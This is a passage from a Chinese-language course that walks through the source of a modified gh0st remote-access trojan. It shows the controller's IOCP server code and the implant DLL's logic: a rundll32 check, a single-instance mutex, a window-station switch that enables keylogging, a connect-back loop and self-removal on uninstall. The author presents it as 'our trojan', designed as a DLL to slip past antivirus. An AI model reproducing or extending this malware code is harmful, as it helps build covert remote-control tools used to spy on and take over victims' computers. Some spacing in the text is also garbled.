        if (nRet == SOCKET_ERROR)

        {

            CString str ;

            str.Format("WSAEventSelect() error %ld\n",WSAGetLastError());

            TRACE(str);

            closesocket(m_socListen);

            return false;

        }

     

        SOCKADDR_IN     saServer;      

     

     

        // Listen on our designated Port#

        saServer.sin_port = htons(nPort);

     

        // Fill in the rest of the address structure

        saServer.sin_family = AF_INET;

        saServer.sin_addr.s_addr = INADDR_ANY;

     

        // bind our name to the socket

        nRet = bind(m_socListen,

                    (LPSOCKADDR)&saServer,

                    sizeof(struct sockaddr));

     

        if (nRet == SOCKET_ERROR)

        {

            CString str ;

            str.Format("bind() error %ld\n",WSAGetLastError());

            TRACE(str);

            closesocket(m_socListen);

            return false;

        }

     

        // Set the socket to listen

        nRet = listen(m_socListen, SOMAXCONN);

        if (nRet == SOCKET_ERROR)

        {

            CString str ;

            str.Format("listen() error %ld\n",WSAGetLastError());

            TRACE(str);

            closesocket(m_socListen);

            return false;

        }

     

     

       

       

        UINT    dwThreadId = 0;

     

        m_hThread =

                (HANDLE)_beginthreadex(NULL,                // Security

                                         0,                 // Stack size - use default

                                         ListenThreadProc//Thread fn entry point

                                         (void*) this,     

                                         0,                 // Init flag

                                         &dwThreadId);  //Thread address

     

        if (m_hThread != INVALID_HANDLE_VALUE)

        {

            InitializeIOCP();

            m_bInit = true;

            return true;

        }

     

        return false;

    }

     

     

     

    以上就是CIOCPServer::Initialize()函数的整个执行过程。现在我们一点点分析这个初始化IOCPServer的过程。

     

    首先是这个:m_pNotifyProc     = pNotifyProc。将这个函数指针传递给CIOCPServer的成员变量m_pNotifyProc的目的是因为,在CIOCPServer的众多函数中,他们的一个执行状态需要反映到界面上,比如受控端上线、下线,传输速度等等,都需要这个函数反映到界面上。

    m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_CLIENT_CONNECT);上线

    m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_RECEIVE);收到数据

    m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_RECEIVE_COMPLETE);接收完成

    m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_TRANSMIT);发送数据

    m_pNotifyProc((LPVOID)m_pFrame, pContext, NC_CLIENT_DISCONNECT);掉线

    着所有的网络行为最终都通过这个函数反映到了界面上。

     

    紧跟着的是这个m_pFrame  =  pFrame;,它存在的意义就是给m_pNotifyProc作为参数用

     

    接下来,创建监听套接字,注意这个套接字的创建形式:创建的是非阻塞模式的套接字。

    m_socListen =WSASocket(AF_INET,

    SOCK_STREAM,

    0,

    NULL,

    0,

    WSA_FLAG_OVERLAPPED);

     

    创建网络事件对象:m_hEvent = WSACreateEvent();

     

    将网络事件对象关联到先前创建的这个监听套接字上:

    int nRet =WSAEventSelect(m_socListen,

                                         m_hEvent,

                                         FD_ACCEPT);

    将套接字绑定到本机上:

    nRet =bind(m_socListen,

                   (LPSOCKADDR)&saServer,

                   sizeof(struct sockaddr));

     

    开始监听:nRet = listen(m_socListen, SOMAXCONN);

     

    创建一个线程,专门等待到来的连接:

    m_hThread=(HANDLE)_beginthreadex(NULL,                       // Security

                                                            0,                              // Stack size - use default

                                                            ListenThreadProc,  // Thread fn entry point

                                                            (void*) this,    

                                                            0,                              // Init flag

                                                            &dwThreadId);    // Thread address

     

    接下来,这个线程函数主要是对到来的连接进行一个处理。我们看看在这个线程中具体的都做了哪些工作:

     

        if (nRet == SOCKET_ERROR)

            {

                TRACE(_T("WSAEnumNetworkEvents error %ld\n"),WSAGetLastError());

                break;

            }

     

            // Handle Network events //

            // ACCEPT

            if (events.lNetworkEvents & FD_ACCEPT)

            {

                if (events.iErrorCode[FD_ACCEPT_BIT] == 0)

                    pThis->OnAccept();

                else

                {

                    TRACE(_T("Unknown network event error %ld\n"),WSAGetLastError());

                    break;

                }

     

            }

     

        } // while....

     

        return 0; // Normal Thread Exit Code...

    }

     

    对这个监听线程函数简要的说说,因为实在没什么新颖的地方:

    首先进入一个无线循环,并且在循环入口设置好了一个退出此无线循环的监视点。关于这个点的分析,我们在前面已经详述,在这里再提一下:

    if(WaitForSingleObject(pThis->m_hKillEvent, 100) == WAIT_OBJECT_0)

      break;

    CIOCPServer::Stop()这个函数中::SetEvent(m_hKillEvent);将这个事件置信,这个时候这个无线循环会因为这个对象的置信而退出。

     

    其实这个线程一般会被阻塞在接下来的这个函数里,除非有受控端上线:

    dwRet =WSAWaitForMultipleEvents(1,

                                                      &pThis->m_hEvent,

                                                      FALSE,

                                                      100,

                                                      FALSE);

    因为m_hEvent就是一个自动重置的事件对象,并且已经用函数:WSAEventSelect将这个事件对象与一个套接字做了绑定处理。当有客户端上线的时候,会发生一个FD_ACCEPT的网络事件,这个时候这个事件对象会被置信。线程函数会继续往下执行。

     

    线程函数会判断发生在这个套接字上的网络事件是不是FD_ACCEPT,如果是的话那么就会进行下面的连接等一系列的处理。这个留待我们下文中阐述。

    int nRet =WSAEnumNetworkEvents(pThis->m_socListen,

                                                       pThis->m_hEvent,

                                                       &events);

    if(events.lNetworkEvents & FD_ACCEPT)

    {

    if(events.iErrorCode[FD_ACCEPT_BIT] == 0)

          pThis->OnAccept();

    至此,这个线程函数的功能我们就算分析完了,这个CIOCPServer::OnAccept这个函数的功能,我们留待讲完CIOCPServer::InitializeIOCP这个功能回头再论述。

     

    bool CIOCPServer::InitializeIOCP(void)

    {

     

        SOCKET s;

        DWORD i;

        UINT  nThreadID;

        SYSTEM_INFO systemInfo;

     

        //

        // First open a temporary socket that we will use to create the

        // completion port.  In NT 3.51 itwill not be necessary to specify

        // the FileHandle parameter of CreateIoCompletionPort()--it will

        // be legal to specify FileHandle as NULL. However, for NT 3.5

        // we need an overlapped file handle.

        //

     

        s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

        if ( s == INVALID_SOCKET )

            return false;

     

        // Create the completion port that will be used by all the worker

        // threads.

        m_hCompletionPort = CreateIoCompletionPort( (HANDLE)s, NULL, 0, 0 );

        if ( m_hCompletionPort == NULL )

        {

            closesocket( s );

            return false;

        }

     

        // Close the socket, we don't need it any longer.

        closesocket( s );

     

        // Determine how many processors are on the system.

        GetSystemInfo( &systemInfo );

     

        m_nThreadPoolMin  = systemInfo.dwNumberOfProcessors * HUERISTIC_VALUE;

        m_nThreadPoolMax  = m_nThreadPoolMin;

        m_nCPULoThreshold = 10;

        m_nCPUHiThreshold = 75;

     

        m_cpu.Init();

     

     

        // We use two worker threads for eachprocessor on the system--this ischoosen as a good balance

        // that ensures that there are a sufficient number of threads available toget useful work done

        // but not too many that context switches consume significant overhead.

        UINT nWorkerCnt = systemInfo.dwNumberOfProcessors * HUERISTIC_VALUE;

     

        // We need to save the Handles for Later Termination...

        HANDLE hWorker;

        m_nWorkerCnt = 0;

     

        for ( i = 0; i < nWorkerCnt; i++ )

        {

            hWorker = (HANDLE)_beginthreadex(NULL,                  //Security

                                            0,                      // Stacksize - use default

                                            ThreadPoolFunc,         // Thread fn entrypoint

                                            (void*) this,           // Param for thread

                                            0,                      // Initflag

                                            &nThreadID);            // Thread address

     

     

            if (hWorker == NULL )

            {

                CloseHandle( m_hCompletionPort );

                return false;

            }

     

            m_nWorkerCnt++;

     

            CloseHandle(hWorker);

        }

     

        return true;

    }

     

    这一段代码的含义就是创建一个完成端口,这个完成端口的创建是为了以后将上线的被控端的socket与这个完成端口相关联起来,注意看MSDN上关于此函数的说明:

    TheCreateIoCompletionPort function can associate an instance of an opened filewith a newly created or an existing input/output (I/O) completion port; or itcan create an I/O completion port without associating it with a file

     

    也就是说这个函数既可以将某个打开的“文件”句柄与新创建的或者已经存在的输入输出端口相关联起来,也可以仅仅创建一个完成端口而不与某个“文件”相关联。上图中所示的用法仅仅是创建了一个完成端口,而并没有与任何的句柄相关联。至于关联的情况,请看下面的例子:

     

    BOOL CIOCPServer::AssociateSocketWithCompletionPort(SOCKET socket, HANDLE hCompletionPort, DWORD dwCompletionKey)

    {

        HANDLE h = CreateIoCompletionPort((HANDLE) socket, hCompletionPort, dwCompletionKey, 0);

        return h == hCompletionPort;

    }

     

    这里是将各个上线的受控端与主控端的连接套接字关联到前面已经创建的这个完成端口上。

    关于这部分的知识,我们会在后续的课程中加以详述。

     

    接下来

    GetSystemInfo( &systemInfo );

     

        m_nThreadPoolMin  = systemInfo.dwNumberOfProcessors * HUERISTIC_VALUE;

        m_nThreadPoolMax  = m_nThreadPoolMin;

        m_nCPULoThreshold = 10;

        m_nCPUHiThreshold = 75;

     

        m_cpu.Init();

     

     

        // We use two worker threads for eachprocessor on the system--this ischoosen as a good balance

        // that ensures that there are a sufficient number of threads available toget useful work done

        // but not too many that context switches consume significant overhead.

        UINT nWorkerCnt = systemInfo.dwNumberOfProcessors * HUERISTIC_VALUE;

     

        // We need to save the Handles for Later Termination...

        HANDLE hWorker;

        m_nWorkerCnt = 0;

     

    ,我们需要继续看CIOCPServer::InitializeIOCP这个函数的剩余部分内容:

     

    这部分内容就是查询出计算机的核心数,并且根据核心数自适应调整运行于本机器上的最大、最小线程数。

    还有一个功能就是初始化了查询CPU使用状态的这么一个类,关于这个类的详细说明如下:

     

     

    CCpuUsage::CCpuUsage()

    {

        m_hQuery = NULL;

        m_pCounterStruct = NULL;

     

    }

     

    CCpuUsage::~CCpuUsage()

    {

     

        PdhCloseQuery(m_hQuery);

        delete m_pCounterStruct;

    }

     

     

    BOOL CCpuUsage::Init()

    {

        if (ERROR_SUCCESS != PdhOpenQuery(NULL, 1, &m_hQuery))

            return FALSE;

     

        m_pCounterStruct = (PPDHCOUNTERSTRUCT) new PDHCOUNTERSTRUCT;

     

        PDH_STATUS pdh_status = PdhAddCounter(m_hQuery, szCounterName, (DWORD) m_pCounterStruct, &(m_pCounterStruct->hCounter));

        if (ERROR_SUCCESS != pdh_status)

        {

            return FALSE;

        }

     

     

     

        return TRUE;

    }

     

     

    int CCpuUsage::GetUsage()

    {

        PDH_FMT_COUNTERVALUE pdhFormattedValue;

     

        PdhCollectQueryData(m_hQuery);

     

        if (ERROR_SUCCESS != PdhGetFormattedCounterValue(

                                        m_pCounterStruct->hCounter,

                                        PDH_FMT_LONG,

                                        NULL,

                                        &pdhFormattedValue ))

     

     

        {

            return 0;

        }

     

        return pdhFormattedValue.longValue;

    }

     

     

    功能就一句话,就是查看当前CPU的一个使用情况的。

    具体,我们来学习几个监视API函数。

    1PdhOpenQuery:先来看看MSDN上对这个函数的解释:

    The PdhOpenQueryfunction creates and initializes a unique query structure that is used tomanage collection of performance data.

    这个函数创建并初始化一个用于管理性能数据集合的一个唯一的查询结构。

    PDH_STATUSPdhOpenQuery(   IN LPVOID pReserved,  // reserved 

                             IN DWORD dwUserData,  // a value associated with this query 

                             IN HQUERY *phQuery    // pointer to a buffer that willreceivethe                       // query handle );

    最重要的就是phQuery返回来的这个句柄,因为在后续的查询中这个句柄会被频繁用到。

    2PdhAddCounter这个函数的使用方法。

    PDH_STATUSPdhAddCounter(   IN HQUERY hQuery,      // handle to the query 

                              IN LPCTSTR szFullCounterPath, // path of the counter 

                              IN DWORD dwUserData,    // user-defined value 

                              IN HCOUNTER *phCounter  // pointer to the counter handle buffer );这个函数的作用就是将自己关心的查询结构体添加到查询句柄中。

    3PdhCollectQueryData这个函数的使用方法。

    PDH_STATUSPdhCollectQueryData(   IN HQUERY hQuery  // handle of thequery );

    这个函数的作用就是收集我们将要查询的性能参数数据。

    4PdhGetFormattedCounterValue这个函数的使用方法。

    PDH_STATUSPdhGetFormattedCounterValue(   IN HCOUNTER hCounter, // handleof thecounter                                            IN DWORD dwFormat,   // formatting flag 

                                             IN LPDWORD lpdwType, // counter type 

                                             INPPDH_FMT_COUNTERVALUE pValue  );

    格式化输出我们查询的信息。

    5PdhCloseQuery这个函数的用法。

    PDH_STATUSPdhCloseQuery(   IN HQUERY hQuery  // handle of the queryto close and delete. );

    关闭掉查询句柄。综上所述,对某个性能信息的查询主要分以下五个步骤进行。

    1:打开计数器 PdhOpenQuery

    2:把感兴趣的计数器添加进来 PdhAddCounter

    3:收集数据 PdhCollectQueryData

    4:得到计数器的数值 PdhGetFormattedCounterValue

    5:关闭计数器 PdhCloseQuery

     

    我们继续看CIOCPServer::InitializeIOCP这个函数的剩余部分。

     

     

        for ( i = 0; i < nWorkerCnt; i++ )

        {

            hWorker = (HANDLE)_beginthreadex(NULL,                  //Security

                                            0,                      // Stacksize - use default

                                            ThreadPoolFunc,         // Thread fn entrypoint

                                            (void*) this,           // Param for thread

                                            0,                      // Initflag

                                            &nThreadID);            // Thread address

     

     

            if (hWorker == NULL )

            {

                CloseHandle( m_hCompletionPort );

                return false;

            }

     

            m_nWorkerCnt++;

     

            CloseHandle(hWorker);

        }

     

        return true;

    }

    就是创建了几个可以为这个完成端口进行服务的工作线程。至于线程的数量是根据当前机器的核心数相关的。

     

    至此,被控端连接到主控端之前的所有通信协议基本上都已经分析完了。当然了在这里确实还剩下两个重要的函数没有去分析,一个就是刚才创建的这个线程的线程函数,而另外一个地方就是在监听线程里面当有被控端连接来的时候,调用的CIOCPSserver::OnAccept这个函数。好了就到这里,在下面的课程中我们会讲述有被控端机子主动来连接的时候,到正常的通讯过程,那个时候才真正的涉及到通信协议的传输。

                                                                                                                                              

     

     

     

     

     

     

     

     

     

     

    从被控端主动去连接主控端开始谈起。世间万事万物有始有终,宇宙环宇的动力起点就是上帝的那一推之力。当然,主控端与被控端的交互总是从被控端主动连接到主控端开始的,让我们从发起连接这个引爆点谈起……

    *******************************************************************************

    首先,我需要声明一点,我们本款远控软件仅仅就是一个DLL文件,为什么我们的木马就是一个DLL文件,因为要让我们的这个木马躲过杀软的截杀必须想尽各种猥琐的方法让其启动,这就需要我们开发第三方的程序去启动我们的这个DLL,而如今计算机病毒的精彩技术就体现在这个第三方程序上,第三方程序的犀利程度也成了写计算机病毒的人水平高低的一个衡量标准。我们或许在后续的文章中不会向大家展示这第三方程序的开发思路,因为一旦将这种思路公布,我们的这个远控就具备了真正的杀伤力。还有一个因素,我们这套课程的主题就是分析gh0st的通信协议,因此,对其它的内容我们会因课程的需要稍微提一下而已。好,我们接下来看看我们的这款gh0st变种的一个执行过程。

     

    首先,在这个DLL被加载的时候,会判断自身的一个执行环境,如果是在rundll32.dll里,那就开始后续的操作,否则不会有任何的动作。

    接下来创建了一个工作线程,这个工作线程的线程函数为Login,从函数名字我们也可以看出就是取连接主控端。关于这个函数的功能,我们稍后详述,在这里我们看一下下面这个语:CKeyboardManager::g_hInstance=(HINSTANCE)hModule;

    从这里我们可以看出,这个值会在卸载自身的时候被用到。

    接下来,我们看看这个Login线程函数,因为这个函数比较大,我们分为四段进行讲解。

    首先,是创建一个互斥量,保证单个实例运行。

    HANDLECreateMutex(                 LPSECURITY_ATTRIBUTES lpMutexAttributes,                   BOOL bInitialOwner,                    LPCTSTR lpName       );

    接下来是设置工作站,关于设置工作站的作用,因为gh0st的原作者是将这个DLL文件加载到系统服务运行的,这样就有一个问题:服务是system运行的,有自己的窗口站,和我们默认使用的winsta0“不是一个窗口站,不能直接通讯、交互,因此,需要我们自己设置本进程的工作站为winsta0。这样这个DLL就可以与我们默认使用的这个窗口站上的程序进行交互,比如后续中的查找窗口、截获键盘记录等操作才会有效。

    设置工作站的一组API如下:

    1HWINSTA GetProcessWindowStation(VOID)The GetProcessWindowStation functionreturns a handle to the window station associated with the calling process.

    这个函数会返回一个与调用此函数的进程相关的窗口工作站句柄。

    2HWINSTAOpenWindowStation(                          LPTSTR lpszWinSta,                        BOOL fInherit,                                 DWORDdwDesiredAccess                           );

    The OpenWindowStation function returns a handle to an existing windowstation.

    这个函数会返回一个指定的已经存在的窗口工作站的句柄。

    3BOOL SetProcessWindowStation(HWINSTA hWinSta);TheSetProcessWindowStation function assigns a window station to the callingprocess. This enables the process to access objects in the window station suchas desktops, the clipboard, and global atoms. All subsequent operations on thewindow station use the access rights granted to hWinSta.

    这个函数会为调用此函数的进程设置一个窗口工作站。这使得这个进程可以访问到属于这个窗口工作站的对象,比如桌面、剪切板、还有全局的变量。在这个工作站上的所有后续操作都将依赖于hWinSta所具有的访问权限。

     

    再接下来是设置本进程的错误模式,如果在本进程中发生了严重级别比较高的错误的时候,会将错误发送到本进程来处理,而不是不负责的弹出一个错误对话框,要注意我们这个DLL的坯子可不是很好。

    UINT SetErrorMode(UINT uMode);The SetErrorMode function controlswhether the system will handle the specified types of serious errors, orwhether the process will handle them.

    这个函数可以设置是否由系统来处理一些制定类型的严重错误,还是由程序来处理他们。

    对几个变量的作用进行解析。

    1lpszHost:将要连上的主控端的IP地址或者域名地址

    2dwPort:将要连接上的主控端的监听端口

    3hEvent:这个变量是作为主线程退出的一个哨兵监视点,看看这个变量被利用的几个位置。

    A:在向主控端进行连接的时候的这个无限循环的开始处,有如下的调用

    for (int i = 0; i < 500; i++)

    {

    hEvent = OpenEvent(EVENT_ALL_ACCESS, false,"BITS");

       if (hEvent != NULL)

       {

    socketClient.Disconnect();

             CloseHandle(hEvent);

             break;

    }

            Sleep(60);

    }

    B:在主控端要求结束进行对被控端的控制的时候,对此变量有这样的操作

    void CKernelManager::UnInstallService()

    {

      char MyPath[MAX_PATH];

      GetModuleFileName(CKeyboardManager::g_hInstance,MyPath,MAX_PATH);

      DeleteFile("C:\\FW.FW");

      MoveFile(MyPath,"C:\\FW.FW");

      CreateEvent(NULL, true, false, m_strKillEvent);

    }

    C:在向主控端进行连接的时候的这个无限循环的结束处,有如下的调用

    do

    {

          hEvent = OpenEvent(EVENT_ALL_ACCESS, false,"BITS");

            dwIOCPEvent =WaitForSingleObject(socketClient.m_hEvent, 100);

            Sleep(500);

    } while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);

        对以上三处的调用我们做一个说明:第一处调用是在判断当前没有连接、并分析出当前没有连接的原因不是NOT_CONNECT,这个时候会在一个循环中等待第二处调用的地方将这个Event创建出来,即所有操作完成后,通知主线程可以退出。第三处的调用跟第一处调用类似,知识多了一个IOCPEvent的判断。

    4bBreakError就是一个记录断开连接的原因的一个变量。

     

    接下来,我们根据程序的执行流程走一遍,先看CClientSocket socketClient;

    看看CClientSocket这个类的构造函数中都进行了哪些操作。

    初始化了Socket库,创建了一个人工置信、初始状态未受信、未命名的一个事件对象。关于这个事件对象的作用,我们看以下几个地方。                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  

    1:在CClientSocket::CClientSocket()

       m_hEvent = CreateEvent(NULL, true, false, NULL);创建了这个事件对象

    2:在CClientSocket::~CClientSocket()

       CloseHandle(m_hEvent);关闭了事件对象句柄

    3:在CClientSocket::Connect中,连接主控端之前

       ResetEvent(m_hEvent);重置了该事件对象的受信状态为未受信。

    4:在CClientSocket::Disconnect(),关闭到主控端的连接中

       SetEvent(m_hEvent);将该事件对象设置为受信状态

    5:刚刚在连接循环中看到的dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);从以上几个调用的地方,我们可以得知,这个事件对象的作用就是监视被控端与主控端的一个连接状态的哨兵。

    接下来是填充了一个通信数据包中使用的签名数据。

     

    我们继续往下看这个连接主控端的无限循环。接下来,如果主控端主动卸载被控端的时候,将会使得上述讨论的hEvent=OpenEventEVENT_ALL_ACCESS, false, "BITS");返回非NULL的值,也就会使得socketClient.Disconnect();会被执行。我们看看这个函数的定义。

    在前面一节课Gh0st通信协议解析(1)中,我们已经分析过关闭套接字的用法,在这里我们就回顾一下以前的分析:

    设置 l_onoff为非0l_linger0,则套接口关闭时TCP夭折连接,TCP将丢弃保留在套接口发送缓冲区中的任何数据并发送一个RST给对方,而不是通常的四分组终止序列,这避免了TIME_WAIT状态。这样直接丢弃了所有在这个套接字上的所有的数据,不论是待发送的还是待接收的,都被丢弃。解决掉了套接字上残留的数据之后,接下来开始进行撤销在此套接字上悬而未决的操作,接着关闭掉这个套接字句柄,并且将这个套接字句柄的值设置为:INVALID_SOCKET

     

    CancelIo:这个函数的讲解。

    BOOL CancelIo(   HANDLE hFile  // file handle forwhich to cancel I/O );The CancelIofunction cancels all pending input and output(I/O) operations that were issued by the calling thread for the specified filehandle. The function does not cancel I/O operations issued for the file handleby other threads.

    这个函数可以取消掉调用此函数的线程中的个句柄上阻塞的输入、输出操作。但是这个函数无法取消掉在其它的线程中的某个句柄上的输入、输出操作。

     

    InterlockedExchange:这个函数我们以前没有详细讲解过。

    LONGInterlockedExchange(                      LPLONG Target,                      LONGValue );

     

    The InterlockedExchange function atomically exchanges a pair of 32-bitvalues. The function prevents more than one thread from using the same variablesimultaneously.

    这个函数的执行是原子性的操作,也就是说它的执行是不可中断的。它执行的操作就是交换两个数据的值。这个函数阻止多个线程同时对这个数据进行引用。

     

    接下是一个SetEventm_hEvent)操作,使得在CClientSocket的构造函数中创建的这个事件对象的处于受信状态,如此便可使得当初连接到主控端的那个无限循环中等待连接结束的小循环中的这一句调用dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);返回一个WAIT_OBJECT_0

     

    我们继续看,连接到主控端的这个无限循环中部分代码。

    在开始分析下面的代码前,我们需要明确一点gh0st的一个很优秀的功能就是,被控端可以不直接连接到主控端上,而是可以连接到代理服务器上,而在我们将要分析与制作的这款gh0st修改版上,我们不打算支持这个功能。因此,我们对代理这一块确实做了简约化处理。

     

    我们简单的谈一下gh0st原版的一个查找主控端信息以及代理信息的一个过程,因为在我们的这个修改版本中并没有这个过程。

    1:首先在执行文件的本模块中找到经过加密处理的上线字符串

    2:然后对这个上线字符串进行一个解密

    3:对解密后的字符串进行一个判断,或者是用域名上线,或者是得从网上获取上线的信息。

    4:然后对获取到得上线信息进行一个信息提取,解析出上线主机IP/端口、代理IP/端口。

     

    好了,我们继续看这个连接的过程。

    首先调用的是一句:socketClient.setGlobalProxyOption();这个函数是有默认的参数的,如下:

    void setGlobalProxyOption(int nProxyType = PROXY_NONE, LPCTSTRlpszProxyHost = NULL, UINT nProxyPort = 1080, LPCTSTR lpszUserName = NULL,LPCSTR lpszPassWord = NULL);

    也就是说,如果按照我们的这种调用方是,那么我们默认是不使用代理服务器的。

    我们看看这个函数的一个实现方式:

    我们仅仅是大体看下这个函数的实现方式,其中的变量我们不去深究,因为在我们的程序中这些变量的存在意义不大。

     

    接下来就是被控端向主控端进行连接的地方,主要是调用了CClientSocket::Connect这个函数:

    连接之前,首先要执行CClientSocket::Disconnect这个函数,目的就是清除一下socket资源。这里面有个险中取胜的一个地方,在Disconnect函数中有一个对m_hEvent进行置信的操作,要知道在连接主控端的这个大循环中是不断的循环测试这个值的,如果这个值受信了则就退出这个连接循环,那客户端岂不是就掉线了?而问题的解决方案就在这里,在Connect这个函数中调用了Disconnect之后紧接着调用了ResetEvent这个函数,马上将m_hEvent设置为未受信的状态。

    因为我们忽略了代理服务器,因此在这里所有对代理服务器的操作我们都可以忽略到,除了这些我们会发现,上面一段代码就是创建了一个用于连接的套接字,然后连接主控端。

    连接到主控端之后,设置了该套接字的一个保活特性,关于这部分的内容我们在Gh0st通信协议分析(1)里有也有讲过,在这里我们再回顾一下这种使用方法:

    设置了SIO_KEEPALIVE_VALS后,激活包由TCP STACK来负责。当网络连接断开后,TCP STACK并不主动告诉上层的应用程序,但是当下一次RECV或者SEND操作进行后,马上就会返回错误告诉上层这个连接已经断开了如果检测到断开的时候,在这个连接上有正在PENDINGIO操作,则马上会失败返回。

    上面这句代码的含义是:每隔m_nKeepLiveTime的时间,开始向受控端发送激活包,重复发送五次,每次发送的时间间隔是10秒钟,如果在十秒钟之内都没能得到回复,则判定主控端已经掉线。对掉线后的处理,在这里我必须要说说:由于TCP STACK并不主动告诉上层的应用程序,只有当下一次发送数据,或者接收数据的时候才会被发现。

     

    接下来就创建了一个无限循环的工作线程,这个工作线程的主要任务就是监听来自客户端的命令请求,关于这个线程的分析,我们稍后再表。

     

    让我们话分两路,去看看当有被控端主动去连接到主控端的时候,主控端会有怎样的操作。

     

    unsigned CIOCPServer::ListenThreadProc(LPVOID lParam)

    {

        CIOCPServer* pThis = reinterpret_cast<CIOCPServer*>(lParam);

     

        WSANETWORKEVENTS events;

       

        while(1)

        {

            //

            // Wait for something to happen

            //

            if (WaitForSingleObject(pThis->m_hKillEvent, 100) == WAIT_OBJECT_0)

                break;

     

            DWORD dwRet;

            dwRet = WSAWaitForMultipleEvents(1,

                                         &pThis->m_hEvent,

                                         FALSE,

                                         100,

                                         FALSE);

     

            if (dwRet == WSA_WAIT_TIMEOUT)

                continue;

     

            //

            // Figure out what happened

            //

            int nRet = WSAEnumNetworkEvents(pThis->m_socListen,

                                     pThis->m_hEvent,

                                     &events);

           

            if (nRet == SOCKET_ERROR)

            {

                TRACE(_T("WSAEnumNetworkEvents error %ld\n"),WSAGetLastError());

                break;

            }

     

            // Handle Network events //

            // ACCEPT

            if (events.lNetworkEvents & FD_ACCEPT)

            {

                if (events.iErrorCode[FD_ACCEPT_BIT] == 0)

                    pThis->OnAccept();

                else

                {

                    TRACE(_T("Unknown network event error %ld\n"),WSAGetLastError());

                    break;

                }

     

            }

     

        } // while....

     

        return 0; // Normal Thread Exit Code...

    }

     

     

    当有被控端连接到主控端的时候,在监听套接字上会有网络事件发生,因此阻塞在m_hEvent这个事件对象上的线程会被唤醒,接下来会详细判断出发生在监听套接字上的这个网络事件具体是否为FD_ACCEPT,因为我们在监听套接字上,只对这个网络事件感兴趣。如果确实为FD_ACCEPT这个网络事件的发生的话,那么就要调用CIOCPSserver::OnAccept这个函数,对到来的连接进行处理。

    我们先来看看这一段接收所用到得API函数的功能进行一个简单的说明。

    1reinterpret_castCIOCPServer* pThis =reinterpret_cast<CIOCPServer*>(lParam);

    The reinterpret_cast operator allows any pointer to be converted into anyother pointer type, and it allows any integral type to be converted into anypointer type and vice versa. Misuse of the reinterpret_cast operator can easilybe unsafe. Unless the desired conversion is inherently low-level, you shoulduse one of the other cast operators.

    这个操作符允许你将任意类型的指针转化成其它类型的指针,并且允许你将整形转换成任意类型的指针,反之亦然。错误的使用这个操作符可以轻易的使你的程序处于不安全的状态。2WaitForSingleObject

    DWORDWaitForSingleObject(                        HANDLE hHandle,                        WORD dwMilliseconds );The WaitForSingleObject function returns when oneof the following occurs: The specified object is in the signaled state. Thetime-out interval elapses. 当以下两种情况发生的时候,这个函数会返回:指定的对象处于受信的状态。等待超时。3WSAWaitForMultipleEvents DWORDWSAWaitForMultipleEvents(                           WORD cEvents,   const WSAEVENT FAR*lphEvents,    BOOL fWaitAll,                                                DWORDdwTimeOUT,                                             BOOLfAlertable               )The WSAWaitForMultipleEvents function returns either when any one or whenall of the specified objects are in the signaled state, or when the time-outinterval elapses. 当所有指定的对象受信的时候或者只有一个对象受信的时候,又或者等待的时间超时的时候,这个函数才会返回。 4WSAEnumNetworkEventsint WSAEnumNetworkEvents(                       SOCKET s,                                                   WSAEVENThEventObject,                                      LPWSANETWORKEVENTS lpNetworkEvents  )The WindowsSocketsWSAEnumNetworkEventsfunction discovers occurrences of network events forthe indicated socket, clear internal network event records, and reset eventobjects (optional).这个函数会识别指定的socket上发生的网络事件,并且会清除内部的网络事件记录,还会重置事件对象。接下来,我们去CIOCPServer::OnAccept里去看看这个函数的实现原理。在这个函数里有个接收后续数据的引爆点——PostRecv

     

    void CIOCPServer::OnAccept()

    {

     

        SOCKADDR_IN SockAddr;

        SOCKET      clientSocket;

       

        int         nRet;

        int         nLen;

     

        if (m_bTimeToKill || m_bDisconnectAll)

            return;

     

        //

        // accept the new socket descriptor

        //

        nLen = sizeof(SOCKADDR_IN);

        clientSocket = accept(m_socListen,

                            (LPSOCKADDR)&SockAddr,

                            &nLen);

     

        if (clientSocket == SOCKET_ERROR)

        {

            nRet = WSAGetLastError();

            if (nRet != WSAEWOULDBLOCK)

            {

                //

                // Just log the error and return

                //

                TRACE(_T("accept() error\n"),WSAGetLastError());

                return;

            }

        }

     

        // Create the Client context to be associted with the completion port

        ClientContext* pContext = AllocateContext();

        // AllocateContext fail

        if (pContext == NULL)

            return;

     

        pContext->m_Socket = clientSocket;

     

        // Fix up In Buffer

        pContext->m_wsaInBuffer.buf = (char*)pContext->m_byInBuffer;

        pContext->m_wsaInBuffer.len = sizeof(pContext->m_byInBuffer);

     

       // Associate the new socket with a completion port.

        if (!AssociateSocketWithCompletionPort(clientSocket, m_hCompletionPort, (DWORD) pContext))

        {

            delete pContext;

            pContext = NULL;

     

            closesocket( clientSocket );

            closesocket( m_socListen );

            return;

        }

     

        // 关闭nagle算法,以免影响性能,因为控制时控制端要发送很多数据量很小的数据包,要求马上发送

        // 暂不关闭,实验得知能网络整体性能有很大影响

        const char chOpt = 1;

     

    // int nErr =setsockopt(pContext->m_Socket, IPPROTO_TCP, TCP_NODELAY, &chOpt,sizeof(char));

    // if (nErr== -1)

    // {

    //      TRACE(_T("setsockopt()error\n"),WSAGetLastError());

    //      return;

    // }

     

        // Set KeepAlive 开启保活机制

        if (setsockopt(pContext->m_Socket, SOL_SOCKET, SO_KEEPALIVE, (char *)&chOpt, sizeof(chOpt)) != 0)

        {

            TRACE(_T("setsockopt() error\n"), WSAGetLastError());

        }

     

        // 设置超时详细信息

        MyTcpKeepAlive klive;

        klive.onoff = 1; // 启用保活

        klive.keepalivetime = m_nKeepLiveTime;

        klive.keepaliveinterval = 1000* 10; // 重试间隔为10 Resend if No-Reply

        WSAIoctl

            (

            pContext->m_Socket,

            SIO_KEEPALIVE_VALS,

            &klive,

            sizeof(MyTcpKeepAlive),

            NULL,

            0,

            (unsigned long *)&chOpt,

            0,

            NULL

            );

     

